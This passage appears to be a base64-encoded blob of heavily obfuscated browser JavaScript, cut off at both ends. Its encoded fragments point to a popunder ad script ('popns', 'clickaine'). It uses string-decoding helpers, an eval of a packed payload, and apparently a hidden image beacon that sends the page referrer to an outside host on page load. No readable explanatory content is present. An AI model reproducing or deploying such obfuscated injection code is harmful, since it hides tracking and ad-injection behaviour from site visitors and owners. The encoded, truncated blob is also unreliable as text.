7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0NsOyUzQylNcWIxOiZJNSIpO2I9MTticmVhaztjYXNlIDk6Sys9U3RyaW5nLmZyb21DaGFyQ29kZShsLmNoYXJDb2RlQXQoWSleVS5jaGFyQ29kZUF0KGspKTtiPTg7YnJlYWs7Y2FzZSAxOnZhciBZPTAsaz0wO2I9NTticmVhaztjYXNlIDU6Yj1ZPGwubGVuZ3RoPzQ6NzticmVhaztjYXNlIDM6az0wO2I9OTticmVhaztjYXNlIDg6WSsrLGsrKztiPTU7YnJlYWs7Y2FzZSA0OmI9az09PVUubGVuZ3RoPzM6OTticmVhaztjYXNlIDc6Sz1LLnNwbGl0KCcoJyk7cmV0dXJuIGZ1bmN0aW9uKFApe3ZhciBoPTI7d2hpbGUoaCE9PTEpe3N3aXRjaChoKXtjYXNlIDI6cmV0dXJuIEtbUF07YnJlYWs7fX19O2JyZWFrO319fSgnRShZTF1VJyl9O2JyZWFrO319fSgpOyFmdW5jdGlvbihlLG8sYyl7InVzZSBzdHJpY3QiO3ZhciBUPWY1eXk7dmFyIGksbix0O1QuZygwKTtpPVQuUihULkgoIjgiLDApKTtULnooMCk7bj1bVC5JKFQuSCgnXHgzMVx4MzAnLDApKSxULkkoKyI2IiksVC5SKCsnXHgzMVx4MzQnKSxULlIoKyIxMiIpLFQuUihULkgoIjUiLDAsVC5nKDApKSksVC5JKFQuQigwLCdceDMwJyxULnooMSkpKSxULlIoVC5CKCdceDMxXHgzMScsMCxULnooMCkpKSxULkkoKyIyIildO1QuZygyKTt0PVsrJ1x4MzJceDMwXHgzMVx4MzknLFQuQignXHUwMDM1JywxKSxULkgoJ1x4MzFceDM2JywwLFQuZygwKSldO3RyeXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Yy5Mb2dnZXIubG9nKGksVC5SKCsnXHgzMScpLG4pO2MuTG9nZ2VyLmxvZyhpLFQuUigiNyItMCksdC5qb2luKFQuSSgnXHgzNCctMCkpKTt9LCsiNTAwIik7VC56KDEpO2Mub2JqZWN0PVtuLFsrIjM2MCIsNDk0LDM5MSwrIjMxMiIsVC5CKDAsIjMxMiIpLFQuSCgiMzY1IiwwLFQuZygwKSksKydceDM0XHgzMFx4MzQnLFQuSCgiMzAwIiwwLFQuZygwKSksKydceDMzXHgzNlx4MzBceDMwXHgzMScsVC5IKDAsJ1x4MzNceDM5XHgzNVx4MzJceDMyJyxULmcoMSkpLFQuQigiMTg3NzEiLDAsVC56KDApKSwrIjM0OTQ4IiwxNjU0MSwyOTU3MSwrJ1x4MzVceDMxXHgzN1x4MzFceDM5JywzMzkwOCxULkgoIjc4ODQwIiwwLFQuZygwKSksMTA1OTY0LCsnXHgzOFx4MzRceDM1XHgzNVx4MzUnLFQuSCgiNzI0MjYiLDAsVC5nKDApKSxULkgoJ1x4MzNceDMwXHgzNVx4MzlceDM5JywwLFQuZygwKSksVC5CKCdcdTAwMzRcdTAwMzFcdTAwMzZcdTAwMzJcdTAwMzYnLDAsVC5nKDApKSxULkIoMCwnXHUwMDM4XHUwMDM4XHUwMDMwXHUwMDM4XHUwMDM0JyxULnooMSkpLFQuSCgiNjU0MDkiLDEsVC5nKDIpKSwxNDQwMCxULkgoIjEyODQ0IiwxLFQueigyKSksKydceDM4XHgzNlx4MzBceDMyJyxULkgoJ1x4MzFceDMwXHgzOVx4MzJceDMwJywxLFQuZygyKSksMTM0MTYsVC5IKCdceDMyXHgzNFx4MzhceDMyXHgzMCcsMCxULmcoMCkpLFQuQignXHgzM1x4MzdceDM5XHgzN1x4MzYnLDAsVC56KDApKSwrJ1x4MzVceDMxXHg2NVx4MzMnXSx0LFtULkgoJ1x4MzNceDM2XHgzMicsMCxULmcoMCkpLDQ5NiwrJ1x4MzNceDM5XHgzOScsVC5IKDAsIjczMDkyMyIsVC5nKDEpKSwrJ1x1MDAzMlx1MDAzNVx1MDAzMVx1MDAzMicsVC5IKCI2Mzk4IiwwLFQueigwKSksVC5IKCdcdTAwMzRcdTAwMzFcdTAwMzFcdTAwMzlcdTAwMzFcdTAwMzJcdTAwMzInLDEsVC5nKDIpKSwrJ1x4MzFceDMxXHgzMVx4MzlceDMyJyxULkgoJ1x4MzNceDM0XHgzMlx4MzNceDM2JywwLFQueigwKSksMjQ2MSwzMjU1NywxMDIxMF0sby5jdXJyZW50U2NyaXB0LFQuSCgiMSIsMSxULmcoMikpXTt9Y2F0Y2gobyl7dm9pZCgnXHgzMCcqMSkhPT1lLmNvbnNvbGUmJmUuY29uc29sZS5sb2cmJkZ1bmN0aW9uLmFwcGx5LmNhbGwoZS5jb25zb2xlLmxvZyxlLmNvbnNvbGUsW1QuSSgnXHgzMVx4MzMnfDApXSk7fX0od2luZG93LGRvY3VtZW50LHdpbmRvd1t3aW5kb3cucG9wbnN8fGY1eXkuUigiMyItMCldKTt2YXIgXzB4MTM4Zj1bJ1x4NThceDQ4XHg2M1x4NzInLCdceDQ5XHg1NFx4NDVceDZmXHg2NFx4NDNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NmNceDUwXHg1NFx4NDVceDZmXHg1YVx4NTNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NzVceDUwXHg1OFx4NTFceDc1XHg2Mlx4NzlceDY3XHg2OVx4NjJceDUzXHg0OVx4NzBceDRmXHg3YVx4NTlceDY3XHg2Mlx4NjlceDM0XHg3OVx4NGNceDZkXHg3N1x4MzlceDQ5XHg2ZFx4NzNceDY5XHg0Y1x4NDdceDM0XHg3NVx4NGRceDY5XHgzNVx4NzdceDUwXHg1NFx4NDFceDczXHg2Mlx4NjlceDM0XHg3OVx4NGNceDZlXHg0NVx4MzlceDRkXHg0M1x4NzhceDc1XHg0Y1x4NmFceDQ5XHg3NVx4NjRceDdhXHgzMFx4NjlceDYxXHg2OVx4NDlceDczXHg2Mlx4NjlceDM1XHgzMVx4NTBceDUzXHg0OVx4MzNceDRmXHg2OVx4MzhceDc2XHg2M1x4NjlceDM1XHgzNFx4NGNceDZhXHg1NVx4NzZceDYxXHg0M1x4MzlceDY4XHg0Y1x4NzlceDQ5XHg3Mlx4NWFceDUzXHg3OFx4MzBceDRjXHg2ZFx4NDlceDc1XHg2MVx4NTNceDY4XHg3NVx4NGJceDUzXHg3OFx4NzVceDY2XHg1M1x4NzhceDc1XHg1MFx4NTdceDRkXHg2Zlx4NWFceDc5XHg2N1x4NmZceDY0XHg0M1x4MzVceDZiXHg0Y1x4NmVceDU5XHg2Zlx4NTFceDY5XHg0Mlx4NGZceDRiXHg0M1x4NDlceDZmXHg0ZVx4N2FceDM5XHgzOFx4NTNceDY5XHgzMVx4MzVceDRiXHg1NFx4NzBceDYzXHg1OFx4NDNceDM5XHg2M1x4NThceDQzXHgzOFx4NjlceDRiXHg1M1x4NzdceDY5XHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDRjXHg3OVx4NDlceDcwXHg1N1x4N2FceDQyXHg2NFx4NjZceDQ4XHg3N1x4NjlceDUzXHg3OVx4MzRceDMxXHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDQ5XHg2OVx4NmJceDc1XHg1NFx4NDNceDY3XHg3OFx4NGJceDQ4XHg1MVx4NzBceDY1XHg3YVx4NTlceDY3XHg2NFx4NDNceDM1XHg0ZVx4NGJceDQ0XHg0MVx4NzBceDRjXHg2Ylx4NjNceDZmXHg1M1x4NDNceDZjXHgzOVx4NGJceDUzXHgzNVx4NDJceDRiXHg0M1x4NDlceDY5XHg0Ylx4NTNceDZiXHg3MFx4NGZceDMzXHg2Zlx4NzVceDRlXHg0M1x4NjdceDY5XHg1MVx4NzlceDQ5XHg3M1x4NGRceDUzXHg2N1x4NzBceDY1XHgzMlx4NTVceDZmXHg2Mlx4NjlceDczXHg2OVx4NGNceDMyXHg1OVx4NzVceDRmXHg1M1x4NDlceDcwXHg0Y1x4NmFceDUxXHg2Zlx4NDlceDZiXHg1MVx4NjlceDRjXHg0NFx4NDVceDZmXHg0Ylx4NThceDc0XHg0N1x4NGJceDQ0XHg0NVx4NmZceDRiXHg1OFx4NzRceDZjXHg0Ylx4NDdceDM0XHg3Mlx4NDlceDY5XHgzOVx4N2FceDRjXHg2YVx4NmJceDY5XHg0Ylx4NThceDMwXHg3M1x4NTJceDUzXHg2Y1x4MzlceDRiXHg1OFx4MzBceDcwXHg2Nlx4NTNceDY4XHg0YVx4NGJceDU0XHg3M1x4M2QnLCdceDYzXHgzM1x4NDJceDczXHg2MVx4NThceDUxXHgzZCcsJ1x4NWFceDZlXHg0YVx4NzZceDYyXHg1NVx4NGVceDZmXHg1OVx4NThceDRhXHg0NFx4NjJceDMyXHg1Mlx4NmMnLCdceDY0XHg0N1x4MzlceDU0XHg2NFx4NDhceDRhXHg3MFx4NjJceDZkXHg2M1x4M2QnLCdceDYzXHg2ZFx4NTZceDc3XHg2Mlx4NDdceDQ2XHg2YVx4NWFceDUxXHgzZFx4M2QnXTsoZnVuY3Rpb24oXzB4MWI1OWFjLF8weDMwZDYwNSl7dmFyIF8weDQ0NTljOT1mdW5jdGlvbihfMHgxNDY4YWMpe3doaWxlKC0tXzB4MTQ2OGFjKXtfMHgxYjU5YWNbJ3B1c2gnXShfMHgxYjU5YWNbJ3NoaWZ0J10oKSk7fX07XzB4NDQ1OWM5KCsrXzB4MzBkNjA1KTt9KF8weDEzOGYsMHgxMGIpKTt2YXIgXzB4MTdjMT1mdW5jdGlvbihfMHgxOTc3ZGIsXzB4Yzc5ZjY5KXtfMHgxOTc3ZGI9XzB4MTk3N2RiLTB4MDt2YXIgXzB4MTYyZGYyPV8weDEzOGZbXzB4MTk3N2RiXTtpZihfMHgxN2MxWydPTXJTcXgnXT09PXVuZGVmaW5lZCl7KGZ1bmN0aW9uKCl7dmFyIF8weDI0NzE2Njt0cnl7dmFyIF8weDViZDYyOT1GdW5jdGlvbigncmV0dXJuXHgyMChmdW5jdGlvbigpXHgyMCcrJ3t9LmNvbnN0cnVjdG9yKFx4MjJyZXR1cm5ceDIwdGhpc1x4MjIpKFx4MjApJysnKTsnKTtfMHgyNDcxNjY9XzB4NWJkNjI5KCk7fWNhdGNoKF8weDMyOTViMCl7XzB4MjQ3MTY2PXdpbmRvdzt9dmFyIF8weDI4M2NlOT0nQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0nO18weDI0NzE2NlsnYXRvYiddfHwoXzB4MjQ3MTY2WydhdG9iJ109ZnVuY3Rpb24oXzB4MzQxYjE5KXt2YXIgXzB4MTQ0Zjk2PVN0cmluZyhfMHgzNDFiMTkpWydyZXBsYWNlJ10oLz0rJC8sJycpO2Zvcih2YXIgXzB4MjhhNzVlPTB4MCxfMHg1OWNiNWIsXzB4MWUwOTNkLF8weDUxZWZhNj0weDAsXzB4OTIyYWFjPScnO18weDFlMDkzZD1fMHgxNDRmOTZbJ2NoYXJBdCddKF8weDUxZWZhNisrKTt+XzB4MWUwOTNkJiYoXzB4NTljYjViPV8weDI4YTc1ZSUweDQ/XzB4NTljYjViKjB4NDArXzB4MWUwOTNkOl8weDFlMDkzZCxfMHgyOGE3NWUrKyUweDQpP18weDkyMmFhYys9U3RyaW5nWydmcm9tQ2hhckNvZGUnXSgweGZmJl8weDU5Y2I1Yj4+KC0weDIqXzB4MjhhNzVlJjB4NikpOjB4MCl7XzB4MWUwOTNkPV8weDI4M2NlOVsnaW5kZXhPZiddKF8weDFlMDkzZCk7fXJldHVybiBfMHg5MjJhYWM7fSk7fSgpKTtfMHgxN2MxWyd4anFrREYnXT1mdW5jdGlvbihfMHgzMzc3MTgpe3ZhciBfMHg1ZGRiMTU9YXRvYihfMHgzMzc3MTgpO3ZhciBfMHg1NjBiOTU9W107Zm9yKHZhciBfMHhjOTdmOTE9MHgwLF8weDQ0MTg3Mj1fMHg1ZGRiMTVbJ2xlbmd0aCddO18weGM5N2Y5MTxfMHg0NDE4NzI7XzB4Yzk3ZjkxKyspe18weDU2MGI5NSs9JyUnKygnMDAnK18weDVkZGIxNVsnY2hhckNvZGVBdCddKF8weGM5N2Y5MSlbJ3RvU3RyaW5nJ10oMHgxMCkpWydzbGljZSddKC0weDIpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDU2MGI5NSk7fTtfMHgxN2MxWydrRG1IU2snXT17fTtfMHgxN2MxWydPTXJTcXgnXT0hIVtdO312YXIgXzB4MzA2NDA1PV8weDE3YzFbJ2tEbUhTayddW18weDE5NzdkYl07aWYoXzB4MzA2NDA1PT09dW5kZWZpbmVkKXtfMHgxNjJkZjI9XzB4MTdjMVsneGpxa0RGJ10oXzB4MTYyZGYyKTtfMHgxN2MxWydrRG1IU2snXVtfMHgxOTc3ZGJdPV8weDE2MmRmMjt9ZWxzZXtfMHgxNjJkZjI9XzB4MzA2NDA1O31yZXR1cm4gXzB4MTYyZGYyO307ZXZhbChmdW5jdGlvbihfMHg0OWIyZTksXzB4MTA2OTM1LF8weDIyM2Q1NixfMHgyZmY2ZTksXzB4ZWQ3ZDI2LF8weDNiYzUwMCl7XzB4ZWQ3ZDI2PWZ1bmN0aW9uKF8weDI2YmI4Mil7cmV0dXJuKF8weDI2YmI4MjxfMHgxMDY5MzU/Jyc6XzB4ZWQ3ZDI2KHBhcnNlSW50KF8weDI2YmI4Mi9fMHgxMDY5MzUpKSkrKChfMHgyNmJiODI9XzB4MjZiYjgyJV8weDEwNjkzNSk+MHgyMz9TdHJpbmdbXzB4MTdjMSgnMHgwJyldKF8weDI2YmI4MisweDFkKTpfMHgyNmJiODJbXzB4MTdjMSgnMHgxJyldKDB4MjQpKTt9O2lmKCEnJ1tfMHgxN2MxKCcweDInKV0oL14vLFN0cmluZykpe3doaWxlKF8weDIyM2Q1Ni0tKXtfMHgzYmM1MDBbXzB4ZWQ3ZDI2KF8weDIyM2Q1NildPV8weDJmZjZlOVtfMHgyMjNkNTZdfHxfMHhlZDdkMjYoXzB4MjIzZDU2KTt9XzB4MmZmNmU5PVtmdW5jdGlvbihfMHgzMjA3ZjYpe3JldHVybiBfMHgzYmM1MDBbXzB4MzIwN2Y2XTt9XTtfMHhlZDdkMjY9ZnVuY3Rpb24oKXtyZXR1cm4gXzB4MTdjMSgnMHgzJyk7fTtfMHgyMjNkNTY9MHgxO307d2hpbGUoXzB4MjIzZDU2LS0pe2lmKF8weDJmZjZlOVtfMHgyMjNkNTZdKXtfMHg0OWIyZTk9XzB4NDliMmU5W18weDE3YzEoJzB4MicpXShuZXcgUmVnRXhwKCdceDVjXHg2MicrXzB4ZWQ3ZDI2KF8weDIyM2Q1NikrJ1x4NWNceDYyJywnXHg2NycpLF8weDJmZjZlOVtfMHgyMjNkNTZdKTt9fXJldHVybiBfMHg0OWIyZTk7fShfMHgxN2MxKCcweDQnKSwweDMyLDB4MzIsJ1x4N2NceDY2XHg3NVx4NmVceDYzXHg3NFx4NjlceDZmXHg2ZVx4N2NceDczXHg3NFx4NzlceDZjXHg2NVx4N2NceDczXHg3MFx4NmNceDY5XHg3NFx4N2NceDYxXHg2NFx4NjRceDQ1XHg3Nlx4NjVceDZlXHg3NFx4NGNceDY5XHg3M1x4NzRceDY1XHg2ZVx4NjVceDcyXHg3Y1x4NjNceDZmXHg2ZFx4N2NceDcyXHg2NVx4NzRceDc1XHg3Mlx4NmVceDdjXHg2OFx4NzRceDc0XHg3MFx4NzNceDdjXHg3Nlx4NjFceDcyXHg3Y1x4NzBceDZlXHg2N1x4N2NceDcwXHg3NFx4N2NceDYyXHg2Zlx4NjRceDc5XHg3Y1x4NjVceDZlXHg2M1x4NmZceDY0XHg2NVx4NTVceDUyXHg0OVx4NDNceDZmXHg2ZFx4NzBceDZmXHg2ZVx4NjVceDZlXHg3NFx4N2NceDcyXHg2NVx4NjZceDY1XHg3Mlx4NzJceDY1XHg3Mlx4N2NceDdjXHg3Y1x4NjJceDc0XHg2Zlx4NjFceDdjXHg3Nlx4MzFceDdjXHg2MVx4NzBceDcwXHg2NVx4NmVceDY0XHg0M1x4NjhceDY5XHg2Y1x4NjRceDdjXHg2ZVx4NmZceDZlXHg2NVx4N2NceDYxXHg2Mlx4NzNceDZmXHg2Y1x4NzVceDc0XHg2NVx4N2NceDcwXHg2Zlx4NzNceDY5XHg3NFx4NjlceDZmXHg2ZVx4N2NceDY5XHg2ZFx4NjdceDdjXHg3Y1x4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4NDVceDZjXHg2NVx4NmRceDY1XHg2ZVx4NzRceDdjXHg3NFx4NmZceDcwXHg3Y1x4NmNceDY1XHg2Nlx4NzRceDdjXHg2MVx4NzBceDY5XHg3Y1x4N2NceDdjXHg3M1x4NzJceDYzXHg3Y1x4NzJceDY1XHg3MFx4NmNceDYxXHg2M1x4NjVceDdjXHg3MFx4NmZceDY5XHg2ZVx4NzRceDY1XHg3Mlx4NDVceDc2XHg2NVx4NmVceDc0XHg3M1x4N2NceDYzXHg2Y1x4NjlceDYzXHg2Ylx4NjFceDY5XHg2ZVx4NjVceDdjXHg2MVx4NzBceDcwXHg3Y1x4NzdceDY5XHg2ZVx4NjRceDZmXHg3N1x4N2NceDZhXHg2Zlx4NjlceDZlXHg3Y1x4NmVceDY1XHg3N1x4N2NceDQ0XHg0Zlx4NGRceDQzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0XHg0Y1x4NmZceDYxXHg2NFx4NjVceDY0XHg3Y1x4NmNceDZmXHg2MVx4NjRceDdjXHgzNVx4NjVceDMzXHg3Y1x4NzNceDY1XHg3NFx4NTRceDY5XHg2ZFx4N